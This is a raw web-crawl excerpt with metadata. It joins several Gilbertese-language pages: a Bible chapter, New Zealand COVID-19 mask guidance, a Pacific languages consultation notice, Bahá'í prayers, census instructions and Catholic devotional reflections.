raoi bwa kam na aki mwaninga taekan Iehova,+ are e kairingkami ni kaotinakoingkami man te aba are Aikubita, man te auti n toronaki. 13 Kam riai ni maaka Iehova ae Atuami,+ ao kam riai n toro irouna,+ ao kam riai n taetae n tuea n arana.+ 14 Kam na tai kakairi irouia atua riki tabeman, aika atuaia botannaomata nako akana i rarikimi ni kabutaa,+ 15 bwa Iehova ae Atuami are mena i buakomi, bon te Atua ae tua bwa e riai n taromauriaki n tii ngaia.+ Bwa mwina e na urarake unin Iehova ae Atuami nakoimi+ ao e na kamaunaingkami mai aon te aba.+ 16 \"Kam na tai kataa Iehova ae Atuami,+ n aron are kam kataia i Mata.+ 17 Kam riai ni kakorakoraingkami ni kakairi n ana tua Iehova ae Atuami, ma ana kauring ao ana kaetieti ake e tua nakoimi bwa kam na kakairi iai. 18 Kam riai ni karaoa ae eti ao ae raoiroi i matan Iehova, bwa kam aonga ni kabwaia ao n rin n abana te aba ae raoiroi, are e taetae n tuea ibukina Iehova nakoia ami bakatibu,+ 19 ngkana kam kakioianako taani kairiribai nakoimi ni kabane mai mwaimi, n aron are e beritanna Iehova.+ 20 \"Ngkana a titirakiningkami natimi n te tai ae e na roko ni kangai, 'Tera ae nanonaki n taiani kauring, kaetieti, ao mooti ake e tua nakoimi Iehova ae Atuara?' 21 ao kam na kangai nakoia natimi, 'Ti tautoronaki ngkoa irouni Barao i Aikubita, ma e kairira Iehova ni kaotinakoira mai Aikubita n te bai ae korakora. 22 Mangaia are e teimatoa Iehova ni karokoi kanikina ma kakai aika kamimi ma ni kamamate, i aon Aikubita,+ i aoni Barao, ao i aoia kaaini batana ni kabane, i matara.+ 23 Ao e kairira ni kaotinakoira mai ikekei bwa e aonga ni kairira n nakomai, bwa e na anganira te aba are e taetae n tuea ibukina nakoia ara bakatibu.+ 24 Ngaia are e tua Iehova nakoira bwa ti na kakororaoi kaetieti aikai ni kabane ao ni maaka Iehova ae Atuara, ibukin teimatoani kabwaiara,+ bwa ti aonga n teimatoa ni maiu,+ n arora n te bong aei. 25 Ao ti na aranaki bwa ti raoiroi ngkana ti taratara raoi ni kakairi n tuua aikai ni kabane n ongeaba iroun* Iehova ae Atuara, n aron are e tua nakoira.'+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaiaTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-tua-kaua\/6\/","date":"2018-10-21T12:41:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583514005.65\/warc\/CC-MAIN-20181021115035-20181021140535-00040.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":747,"character_repetition_ratio":0.079,"word_repetition_ratio":0.005,"special_characters_ratio":0.237,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bwainakin nangoan te ubu e ibuobuoki n totokoa butinakon te COVID-19 ao e kamanoko naba ma tabemwang.\nNangoan te ubu e buoka katokan butinakon tamrurun te baware ngkana iai ae taetae, ae ngare, e bekobeko ke e mwatie. Aio e irekereke naba ma te aomata ae iai irouna te COVID-19 ma e bon namakina te marurung ke akea irouna kanikina.\nAngia aomata aki bae ni kainanoa kabonganan kamanoan te ubu ae bwain te onaoraki ma a kona ni kabonganai aekan nako nangoan ubu tabeua. Koraki ake a kainanoa nangoan ubuia ke kamanoan ubuia ae bwain te onnaoraki ibukin aia mwakuri a na bon tuangaki irouia aia tia kamwakuri.\nNgkana akea nangoan ke kamanoan ubum, ko kona ni karaoia ke ni kaboa teuana ma ko aki bae n ienikuri ni kaboa teuana.\nE rang kakawaki ae mwaiti te nangoa n ubu ibukia kain am auti ni kabane ake a maeka iroum ni mwengam.\nE na riai ni kabonganaki kamanoan ke nangoan te ubu i aon ana bao ni mwamwananga te botanaomata i aon Nutiran n ana Kauring ni Karinan COVID-19 ni kabane. E rang kaungaki naba kabonganan kamanoan ke nangoan te ubu ngkana e na kanganga tauan raroam ma aomata riki n taabo ni bobwai aika bubura ke titoa.\nKariaia ibukin aki kabonganan te nangoa n ubu\nMa e aki riai ni kabonganaki irouia koraki aikai:\n- Aomata aika mwauku ke iai toaran rabwataia ma aia kantaninga are e na kona ni kanganga ibukia nangoan te ubu.\n- Ataei ian te roro ae 12 te ririki\n- Iaon bwatin te reirei\n- Irouia bwatintian baao ni mwamwananga aika uarereke n aron taxis ma Uber.\n- Iaon baao ni kaneweaba aika tangoaki ke ni butaki\n- Iaon taian meeri i taari\n- Iaon wanikiba ae bon aia bwai aomata ke e aki uki nakoia botannaomata\n- Iaon wanikiba ibukin mwakuri n aron ae kabonganaki ni kabwakaan kamaeuan aroka ma ieta are e bon bwaibwai iai te aomata\n- N taai are iai te kanganga iai ke ngkana aomata a na riai ni kaotia man kabwarabwaraia ke n taetae ma aomata aika aki raoiroi aia kakauongo ke bonotaninga.\nNgkana ko taku bwa e irekereke aikai ma ngkoe, e aki kainanoaki te beba n aoraki ke beeba ni kakoaua aika kona kaota iai bukina bwa e aera ko aki nangoa ubum.\nKo aki naba kona n tukaki man kabonganan baao ni mwamwananga ibukin te botannaomata.\nTi na uringa bwa e rang kakawaki ae aomata bon iai bukin bwaai ni kabane irouia, n aron ae iai aorakia ae totokoa kabonganan te nangoa n ubu. Akea riain ae a na tareboniaki bureitiman ke kumean te tia kabuti bao ke te tia kairi ti ibukin ae iai tabemwang aki kabonganai nangoa n ubu.\nTi kakoaua bwa angia aomata ake a kona ni bwaina te nangoa n ubu a kona ni buoka totokoan butinankon te aoraki ao a kona naba ni bwaina te nangoa n ubu ngkana e riai.\nNgkana aomata a bon kan urua te kaetieti n aki bwaina te nangoa n ubu iaon baao ni mwamwananga ibukin te botannaomata n akea bukina ae riai, a kona ni kaitara te katua ae $300, ke te katuua n te bowi ae kona n roko n $1,000.\nKo na kanga ni karina te nangoa n ubu\n- Tuoa nangoan ubum. Taraia raoi bwa e na:\n- Itiaki\n- Mwau\n- Akea uruakina.\n- Kaitiaka baim. Imwain ae ko karina nangoan ubum, kaitiaka ao kamwaua raoi baim. Kabongana tao:\n- Te toobu ao te ran\n- Tiringan te man ibukin te bai (korakorana e na riaon 60% te arekoro).\n- Karina nangoan ubum. Katoka te nangoa n ubu anne iaon bwairim ao wiim, ao imwina ko a karaua raoi ni kabaea ma kaona ke katekea nakon taningam. Te nangoa n ubu e na riai:\n- Toka raoi iaon bwairim, wiim ao bwangem.\n- E na tau raoi, mani mano raoi, te itera are irarikin ubum\n- N anganiko te ikeike raoi.\n- Kaitiaka riki baim. Kabongana tao:\n- Te toobu ao te ran\n- Tiringan te man ibukin te bai (korakorana e na riaon 60% te arekoro).\nInanon kabonganan nangoan te ubu\n- Ngkana ko kabongana nangoan te ubu ko riai:\n- kataia n aki tautaua ke ni kumea tinanikun nangoan ubum\n- kataia n aki tautaua ubum\n- kataia n aki kanakoa nangoan ubum, n ikotaki ma katikana rikaki nako an bwangem\n- onea nangoan ubum ngkana e a moanna ni mwaimwai, iai uruakina ke e a bareka.\nKo na kanga ni kanakoa nangoan te ubu\n- Kaitiaka baim. Teboka ao kamwaua raoi baim. Kabongana tao:\n- Te toobu ao te ran\n- Tiringan te man ibukin te bai (korakorana e na riaon 60% te arekoro).\n- Kanakoa nangoan ubum. kabwara nangoan ubum ma i buki ao katikia n kararoa ma ubum. Kabonganai kaona ni kabwarai ma iai. Tai kumekumea tinanikun nangoan ubum, ao taratara raoi bwa ko na aki taua ke n ringa matam, bwairim ke wiim.\n- Kaitiaka ke karenakoa nangoan ubum.\n- Kaitiakan nangoan te ubu ae karaoaki man te kunikai bon uatiakina n te mitin n uati ma te toobu n te kabuebue ae 60 degrees Celsius. Kamwaua raoi nangoan ubum imwain manga kabonganakina. Tai kabongana te nangoa n ubu ngkana e aki raoi mwau.\n- Karenakoa are ti te taina aron kabonganakina. Katikua n te tabo ni mwange ae iai matana, ke n te baeki ae in raoi ao karenakoa. Tai manga kabongana ke ni kaitiaka te nangoa n ubu ae na riai n ti teuana tain kabonganakina.\n- Kaitiaka riki baim. Kabongana tao:\n- Te toobu ao te ran\n- Tiringan te man ibukin te bai (korakorana e na riaon 60% te arekoro).\nLast updated:","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/covid19.govt.nz\/iwi-and-communities\/translations\/kiribati\/protecting-your-community\/face-coverings-and-masks\/","date":"2021-09-16T11:16:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780053493.41\/warc\/CC-MAIN-20210916094919-20210916124919-00408.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":906,"character_repetition_ratio":0.086,"word_repetition_ratio":0.06,"special_characters_ratio":0.222,"stopwords_ratio":0.357,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ti a tia ni katauraoi Kainibaire ibukin aia Taetae kain te Betebeke ike a na kona ni buoka karikirakean riki kabonganakin ruaiwa taetaen te Betebete i aon Aotearoa.\nNgkana iai baika a boou ae ti a manga maiuakin bwa irian COVID-19, e rang kakawaki ara taetae bwa ngaia ae e kona n reitira ibukin boutokakira i marenara. Ni kabotauan mwin te wareaomata n te ririki 2013 ao 2018, e oti bwa e rang korakora kerikakin mwaitia kain te Betebeke aika kona n taetae n oin aia taeka.\nNgkana ngkoe te roronrikirake, te karo, te tia reirei ke te tia babaire n te kurubu ke bon temanna ngkoe ae ko nano ni boutokan karikirakean kabonganan oin am taetae ke taetaen te Betebeke – ti bane ni butimwaei ami iango ma karinrin. Ti rang butimwaei naba iango ma karinrin man botaki aika bubura ibukia te botanaomata, taian bitineti, botaki n Aro ao kurubu aika mwakuri ibukia kain te Betebeke.\nTe maroro e na moanaki ma n 4 n Okitobwa – 12 n Nobembwa.\nKainibaire ibukin aia Taetae kain te Betebeke a na kona riki ni katereterei baika a kakawaki ke a kainanoaki ibukin boutokan karikirakean kabonganakin taetaen te Betebeke i aon Aotearoa.\nTi rang kainanoa ami buoka n iango bwa ti aonga n ataia bwa tera ae e kainanoaki ke ae e kakawaki ibukin boutokan ami taetae ke taetaen te Betebetke ake tabeua.\nTi bubuti tibwakin am iango nakoira i aon baika a kakawaki ke a riai bwa boutokan karikirakean kabonganakin aia taetae kain te Betebeke i aon Aoteraroa.\nAm iango aika ko tibwai ma ngaira a na bon kabonganaki ni kabobonga raoi te Kainibaire ibukin aia taetae kain te Betebeke ao e na kona naba n riki bwa kaetieti nakon te Tautaeka ibukin baika a kakawaki ke a bongana ni boutoka karikirakean kabonganakin aia taetae kain te Betebeke i aon Aotearoa.\nTe maroro e na moanaki ma n 4 n Okitobwa – 12 n Nobembwa.\nKo kona naba ni karokoi am iango iroura n aanga aikai:\nReitaki ma te Botaki ni Mwakuri ibukia kain te Betebeke i aon [email protected]\nIango ni katamaroa ke ami maroro a na bon aki ataki aomataia ke mania ibukina bwa rongorongo ni kabane aika a reke iroura a na bon bane n ikotaki ke ni botaki n ti teuana. E ngae n anne, ao e kona n oti aram n te kabanea n riboti bwa temanna naba ngkoe ae ko anga am iango ni katamaroa ke ko ira te maroro. Ma ngkana ko bon aki kariaia bwa e na oti aram i aon te riboti, taiaoka kaongoira ke reitaki nakoira.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.mpp.govt.nz\/programmes\/pacific-languages-strategy\/kiribati\/","date":"2021-10-26T09:18:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323587854.13\/warc\/CC-MAIN-20211026072759-20211026102759-00405.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":426,"character_repetition_ratio":0.101,"word_repetition_ratio":0.01,"special_characters_ratio":0.206,"stopwords_ratio":0.354,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tataro Ni Bahá'í\nNaake a tia ni Mate\nTe Tataro i Bukin te Taunimate -\nAtuau! Bon Am toro aio ae te nati te mwaane ae natin Am toro are e a tia ni Kakoauako ma Am kanikina, ao ni kaineta moana Nakoim, ni kabwaninaki ni kamwaawaaki man bwaai nako ma bon ti…\nBahá'u'lláh\n•\n177 words\nAm bwai te mimitong te Uea ae Atuau! Tai kamangora teuare Ko a tia ni karietaata ni mwaakan Inaomatam n tautaeka ae akea tokina, ao tai kamwaawa ni kararoaa mai Iroum teuare Ko a tia ni…\nBahá'u'lláh\n•\n250 words\nAtuau! Ngkoe ae te Tia Kabwarai buure, te Tia Tituaraoi, ao te Tia Kabebetei naano. I a bubutii Nakoim ma te nanorinano bwa Ko na kabwarai bureia naake a tia ni mate rabwataia, ao tamneia a…\n'Abdu'l-Bahá\n•\n86 words\nBahá'í Prayers\nGet the app\nBahá'í Prayers\nGet the app","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.bahaiprayers.io\/category?id=204&l=gil","date":"2021-10-19T00:02:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585215.14\/warc\/CC-MAIN-20211018221501-20211019011501-00427.warc.gz","language":"gil","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 1.0000088214874268}","num_words":140,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.343,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Wareaomata ibukin 2023 2023 Census information in Kiribati\nReireiniko bwa ko aonga n ataia bwa tera te wareaomata, tera bukina ngkai e karaoaki, ao ko na kanga ni karaoia.\nTe Wareaomata ibukin 2023 2023 Census information in Kiribati\nReireiniko bwa ko aonga n ataia bwa tera te wareaomata, tera bukina ngkai e karaoaki, ao ko na kanga ni karaoia.\n- te bwai ae e kona ni katomako ma te internet, n aron te smartphone, kaombiuta, ke te tablet\n- e na iai am internet\n- Te access code ae e a tia ni katauaki ibukin mwengam, e na reke i aon te reta ibukin te wareaomata.\n- Kauka am internet browser i aon am smartphone, tablet, ke am kaombiuta.\n- Taibina www.census.govt.nz ao nakon ana website te wareaomata.\n- Kotea te bwatin ae e kangai 'Start your census'.\n- Karina ana access code mwengam.\n- Kotea te bwatin ae 'Start'.\n- Ti temanna te aomata man mwengam ae e na kanoa te Household Setup Form. E riai ni kanoaki moa aio.\n- Ti temanna man mwengam ae e na kanoa te Dwelling Form (Boma Ibukin Te Mwenga).\n- E na kanoaki te boma ae te Individual Form (Boma Ibukin Temanna Te Aomata) irouia aomata ni kabane aika a maeka ni mwengam.\n- kotea te bwatin ae 'Submit' ngkana ko a tia ni kanoai ni kabane taian boma\n- tai kaina ke n refresh taian page ngkana ko kanoa te boma\n- tai kamotirawa kanoakin te boma n te maan ae e riaon 20 te miniti.\n- te Household Setup Form\n- te Dwelling Form (Boma Ibukin Te Mwenga)\n- te Individual Form (Boma Ibukin Temanna Te Aomata) ibukia aomata ni kabane aika a maeka ni mwengam.\n- kabongana te kai ni koroboki ae e roro ke e buruu tanena\n- koroboki n te MAN NI KOROBOKI AE E BUBURA\n- korea am reke ke am kaeka n te taetae n Imatang ke te taetae n Māori\n- noori taian Kaetieti (Guide Notes) ibukin buokam.\n- am Dwelling Form (Boma Ibukin Te Mwenga)\n- te Individual Form (Boma Ibukin Temanna Te Aomata) ibukia aomata ni kabane aika a maeka ni mwengam.\nNgkana ko na karaoa te wareaomata i online, ko na kainanoi baikai:\nTe access code are e a tia ni katauaki ibukin mwengam\nAm access code e kona ni kuneaki i aon te reta ibukin te wareaomata ao te code aio bon 12 mwaitina bwa taian nambwa ae a irengan ma taian man ni koroboki.\nE ti kona ni kabonganaki irouia aomata aika a maeka ke a mena ni mwengam.\nNgkana e bua am access code, ko kona ni manga bubuti karekean teuana ma iroura.\nAron karekean te boma i online\nIra nanon taian kaetieti aikai ibukin karekean te boma i online.\nKo a kona ngkanne ni karekea te boma ibukin te wareaomata ibukin mwengam.\nKanoakin am boma i online\nI online ao iai te kateniua ni boma, ae te Household Setup Form. Aio ibukin kamatoan am address ao araia aomata aika kain mwengam.\nNgkana ko a tia ni kanoa am boma ibukin te wareaomata i online:\nKo ataia bwa e a tia karaoan te wareaomata 2023 i online ngkana mwengam e a tia ni kanakoa:\nKanoakin am boma ae te beba\nNgkana ko kanoa am boma ae te beba:\nKaokakin am boma ae te beba\nE na reke iroum te tinaniku n reta ae akea boona ae raon am boma ae te beba.\nAre nanona bwa ngkana ko a tia ni kanoai ni kabane am boma ae te beba, ko kona ni merinna nakon Stats NZ n akea boona. E aki naba kainanoa te titambwa bwa ko na kanimwa n te tinaniku.\nTuoia raoi bwa a boni babane n rinnako taian boma i nanon te tinaniku imwain ae ko kanakoa. Taiaoka kaokia nakon Stats NZ:\nKo kona naba n tuangira bwa e na roko kawarakim ibukin anakin am boma.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.census.govt.nz\/kiribati\/","date":"2023-02-05T17:31:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500273.30\/warc\/CC-MAIN-20230205161658-20230205191658-00329.warc.gz","language":"gil","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000094175338745}","num_words":621,"character_repetition_ratio":0.083,"word_repetition_ratio":0.111,"special_characters_ratio":0.23,"stopwords_ratio":0.353,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kanan Tamneira...\n- Details\n- Written by Uriam Timiti\n-\nTi bane n uringa n te bong aio Santa Monica are tinan Santo Augustine. E rangi ni kakanato te tina aio ibukin korakoran ana onimaki n tataro ibukin natina ae Aukitino ba e na rairaki maiuna nakon te Uea. E ngae ngke e aki kaekaekaki ana tataro ni bubuti i nanon ririki aika bati ao e bon aki bara nanon te tina aio ni karokoa ae e a kaekaki ana bubuti ba e raira nanona natina ae Aukitino; e riki ba te Tama ao imuina e te tia reirei ae kakannato man rabakau. Ibukin rianakon wanawanana ao e a tia te Ekaretia n tabekia nakon aia baonikarea aika a tabu n riki ba te Santo ao ni karikaki naba ba Taokitan te Ekaretia.\nTe reirei ae kakawaki ikai ba ti na riai ni kakatotonga Santa Monica n onimakina te Atua ba E tauraoi ni kaekai ara buburti n taai nako ao ba E na bon kaekaira n aron ae E ataia ba te kabanea n tamaroa ibukira. E taku te taeka n rabakau teuana ba ngaira aomata ti bon ti kona n nora are i tabon bairira; ma te Atua bon akea tokin ana taratara ao Ngaia ae te Atua ae kariki baai ni kabane ti bon aki kona n rota wanawanana ma makana. Ngaia are e bon riai n taai nako ba ti na onimaki ngkana ti bubuti ao n tauraoi ni muiokoi arora ma kainnanora ni kabane i nanon bain te Uea.\nTeuana naba te bai ae reireinira Santa Monica ba bon ti ara bai ngaira aomata te tataro ni bubuti ao bon ana bai te Atua te kamaiu ma te rairannano. Bon aio naba te reirei ae kakawaki iroura ngaira kain te botaki n tataro ibukia aoraki ba n tabetai ao ngkana ti tataro ibukin te aoraki ao akea ara kantaninga ba ti reken te marurung iroun te aoraki ao n tabetai ti kona ni marara ngkana e aki marurung ara aoraki. Ti riai ni kawakinira n taai nako ba t i na aki roko n ana maake te Atua ma ti na teimatoa n ara onimaki ni bubuti ma te aki barannanno.\n- Details\n- Written by Uriam Timiti\n-\nTe maiu ae tabu bon Nanon te Atua ae tangiria ibukira ni kabane ba ti aonga ni bane kamaeuaki. Te maiu inanon te raoiroi bon kaotan te wanawana iroura n tauraoi butiamaea Tia Mare ngkana E a roko. N rongorongoia aine ake niman ake a wanawana, are ti ongo n te bong aio, ao I taku ngai n au iango ba baan aia taura are a uouotia bon taekan te maiu ae tabu are a maiu inanona ao ngaia are e katauraoia ni butimaea te Tia Mare n rokona.\nTao a na bati ara iango n titiraki ba e na kanga n reke te maiu ae tabu iroura. I bon irou ao aikai tabeua buoka n iango aika a na kona ni karekea te maiu ae tabu iroura. Teuana bon te tauraoi n rinnako inanon te maiu ni kainnano n aiaron te maeka n te rereua ba ti ngaia te anga ae ti kona iai ni kainaomataki mani katabetaben te maiu aio ao mani kona naba ni kaitibo iai ni koaua ma te Uea. Ara makuri ni mitinare ae kororaoi e na bon kainnanoa te maiu inanon te aki kaubai ma te nanorinano ao te tauraoi ni kona ni kitana arora ni mwengaraoi. Ma ae kakanato riki bon te maiu n ongotaeka ao te tauraoi n nako ike E kairira nako iai te Uea, n aiaron Betero are e ongotakea iroun Iesu ni kabaka te karaun n aron are e tuangaki. Te aki kaubai, te ongoateka ao te nanorinano bon ngaia ae na anganira te kona n rooti ao n ringii maeuia tarira ma manera ake ti na karokoa irouia ana Tangira, ana Nanoanga ma makan ana Kamaiu te Uea.\nNgkana ti boni karaua ni iangoia ba tera te Maiu ae Tabu ao ti na kunea ba ngaia bon katotongan Iesu. A na bon akea ara kanganga ni karekea te aeka ni maiu aio ngkana ti nim n taai nako ma Iesu. Inanon rikira n ti teuana ma Iesu ao I taku ba a na bane n ti teuana nanora ma St Padre Pio n ana tataro teuana imain matena are e kangai,\"Ko raba te Atua ngkai I ataia ao I kakoaua ba Ko maeka inanou ao ngai Inanom.\"\n- Details\n- Written by Uriam Timiti\n-\nE kamimi aron wetean Batoromaio iroun Iesu ba ngke e tabe n roko ma Biribo ao e takarua Iesu nako Batoromaio ni kangai, \"Aio te Iteraera ni koaua ae akea te kewe irouna\". E a manga titiraki Batoromaio nakon Iesu ni kangai, \"Ko kanga ni kinaai?\". E kaeka Iesu, \"Imain ae e weteiko Biribo ao I noriko ian te kai te biiku\".\nE ringaki nanon Batoromaio n ana taeka Iesu aio ao e namakinna ae e a kaman kinaki imain rokona ao e a ota raoi nanona ba: \"Te Aomata aio (Iesu) E atai rongorongoni maiu ni kabane, ao E ata naba kawain te MAIU; I taku ba I kona n onimakinna!\"Ao imuina e taetae ni kaotioti nakon Iesu ni kangai; \"Rabi.., boni Ngkoe Natin te Atua; boni Ngkoe Uean Iteraera\"\nInanon te karaki aio ao iai te koaua ae I kona n ongo ao I kan tibaia ba E tai arora ni kabane te Atua ao bon akea te bai ae kona n raba ma Irouna. Te kauoua ba bon iai ana babaire te Uea ibukira ao n tabetai ti kainnanoia tarira ma manera ba a na buokira ni kairira nakon te Uea ba ti aonga n ota n ana babaire ao ana wewete te Atua ibukira are e a kaman tauraoi i main bungiakira.\nTariu ma maneu ti na butia te Atua ba E na kammakura Tamneina inanora ba ti na kona n ataia ae E nori ara makuri ni kabane ake ti karaoi te Atua ao E na bon rawawata man uruaki Nanona ngkana ti karaoa te bure.\nN aiaron Biribo are e kaira Batoromaio nakon Iesu ao ti bia riki naba ngaira ba taan kairiia tarira ma manera nakon te Uea ba a aonga ni kona ni kaotaaki iroun Iesu aron ana tangira ma wewete ao ana muioko te Atua ibukia inanon ana babaire ni kamaiu ae moan te kororaoi ibukira ni kabane.\n- Details\n- Written by Uriam Timiti\n-\nTe tauraoi n taai nako ibukin te Uea boni ngaia aron uakoraan wanawanara iroun te Uea. Tariu ma maneu n tabetai ao ti taku ba e tei te tai ao ti taku naba ba e kiriaria te tai ae E na weteira iai te Uea. Ma ti kakoaua n te wareboki n te bong aio ba aio te aeka n tai are ti aki kona n ataia ba e na roko nningai. Tariu ma maneu aio te koaua ae ti riai ni butimaia ao ni kammakuria inanora ba muina ao ti reke n te kabuanibai. Bon kaotan te wanawana ni koaua iroura ngkana ti tatauraoi n taai nako. Bon aio naba ana rongorongo Nei Maria nakoira ba ti na maiu n te bong aio n aiaron are ai ara kabanea ni bong. N aiaroia aine ake niman ake a wanawana ao ti na tatauraoi ma ara baa ba ti aonga ni kona ni butimaea te tia Mare ngkana E a roko. Ara baa bon te maiu inanon ana karatia te Atua.\nN tabetai ao ti taku ba iai te ingabong ma n aron are ti a tia n rereiaki iai irouia ara Tama ni Kiribati ao ae tataekinna naba te Tama Ikataere, ao ti riai n norira n taai nako inanon te tai ae NGKAI ba bon akea te ingabong ao ti riai ni kamateraoa ana baintangira te Atua nakoira ae E anganira are bon te tai ae NGKAI ao ni kakoaua ba ti kabongana ibukin neboana Ngaia ae te Atua. Ti na bane ni kamanena raoi te tai aio ao ti na katabuira n taai nako ibukin ana Tangira te Uea. N te aro aio ao ti na bon kakoroa raoi iai aron ana Babaire ni kamaiu te Atua ibukira are E a kaman kawenea mai moana are bon te maeka ma Ngaia i Karawa inanon te mimitong.\nTi na teirake ao ti na makuria Nanon te Uea aio ao riki ti na waaki ni buokiia tarira ma manera ni kaokia nakon te Uea inanon te rarannano. Ti na butia te Atua ba E na nanoangaira ao E na anganira ana karatia ni barua te raoiroi inanon maiura ao ni kan taua bain Natina ae Iesu are E aroria nakoira n taai nako ba E aonga n riki ba ara kaaben are E na katanira man taian kabuanibai nako ao mani karokoira raoi ni mwengara ni koaua irarikin Tamana ao Tamara ba ti na bane ni katonga iai kororaoin te kukurei.\n- Details\n- Written by Uriam Timiti\n-\nTi ongora n te Ewangkerio n te bong aei aron Iesu n taetae ni kamaraia nakoia baritaio ibukin aroia aika bati ake a aki botau ma Nanon te Uea. Teuana aroia ae ti tuangaki ba aroia ni motikii taekaia aomata man aron tarakiia mai tinaniku ao tiaki man taran te nano.\nN tabetai ao ti kabanei ara tai ao ara mane ni katamaroa aron tarara mai i itinaniku ao ti aki mannanoa aron nanora ma tamneira. Te bai ae kakawaki ba a na riai n ti teuana ara makuri ma nanora. Ti na karaoi bai ni kabane tiaki ibukin te kan atongaki raoi, ke ibukin karekean arora ke tera riki ma ti na karaoi ara makuri ibukin kaotan ana Tangira te Uea are e maiu inanora. Ngkana ti karaoa aio ao ti na kakoaua n tai nako ae ti waaki inanon te eti ao te koaua are bon mairoun te Atua.\nN aiaron ae ti nakon te taokita ngkana a aoraki rabatara, ti riai naba n nanakon taokitan te tamnei ba e na tuoa tamneira ao e na anganira bai n aoraki aika a na kamarurunga tamneira. N aiaron ae ti kainnanoa te tebotebo ni katoa bong ao ti riai naba ni kaakawara te Takaramentu ni Kaiooki ao ni Kamarurung ae te Benetenia ba ao a aonga n itiaki nanora ma tamneira ao ni kakoaua n taai nako ba ti karaoa Nanon te Atua inanon maeura. Ti na butia te Uea ba E na anganira ana karatia ba ti na aki kabanei ara tai ni katamaroai tinanikura ba muina ao ti na reke naba n ana taeka ni kamaraia Iesu nakoia baritaio are ti ongo n te bong aio.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira?start=1610","date":"2023-03-31T00:55:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296949506.62\/warc\/CC-MAIN-20230330225648-20230331015648-00137.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1760,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.413,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kanan Tamneira...\n- Details\n- Written by Uriam Timiti\n-\nNgkana ti takarua ni kangai \"Tamara ae te Atua\" Ti kaotia n oini wiira ba te Atua ae Uean aonnaba boni Ngaia Tamara, ti boni kaotia ba ngaira aika aomata ti a tia ni bane ni weteaki man arora n toronaki nakon te aro n natinaki Iroum. Ti ataia ba inanon te natinaki ao ti a riki ngaira ba tan baibai Irarikim n te Abanuea are i Karawa. Are nanona ba ngkana e reke iroura te Abanuea ae Karawa ao ti na riki ni katotongko inanon te maiu ni mimitong ao ni kimareirei ae aki totoki. Ao ngkai Ko maeka i Karawa ao ti kakoaua ba E na tabuaki n tai nako Aram ao bon am bai n tai nako te maka ao te neboaki n aki totoki.\nTi butiko te Atua ae Tamara ba ko na buokira n tai nako ni maiura aio ba ti na teimatoa ao ni kakaonimaki n riki ba tan kakaraoa Nanom ao tan neboa Mimitongim. Kawakinira ba ti na aki kona n raurenako ma ngkoe ao anganira te kaniwanga ae Ko a tia ni katauraoia ibukira are te kona ni maeka irarikim i Karawa inanon te mimitong ao te kabaia ae akea tokina. Nei Maria ae Tinan te Atua ao tinara naba Ko taui baira n tai nako ao kairira inanon kawain Natim ae Iesu. Nei Maria buokira ba ti na kabanei bongin maiura aikai ibukin karaoakin Nanon Natim ae Iesu ba ti aonga ni kona n te taina n reitaki ma anera ao kaini Karawa n neboa te Atua ni kangai' \"Tamara are i Karawa E na tabuaki Aram\".\n- Details\n- Written by Uriam Timiti\n-\nN te bong aio ao ti auringai ba te Kristo E kan anganira te maiu ni kaoaua iananon te te inaomata. Are nanona bat i riai na ki karaoi baia aika a ira tuan aonnba ma bai nako 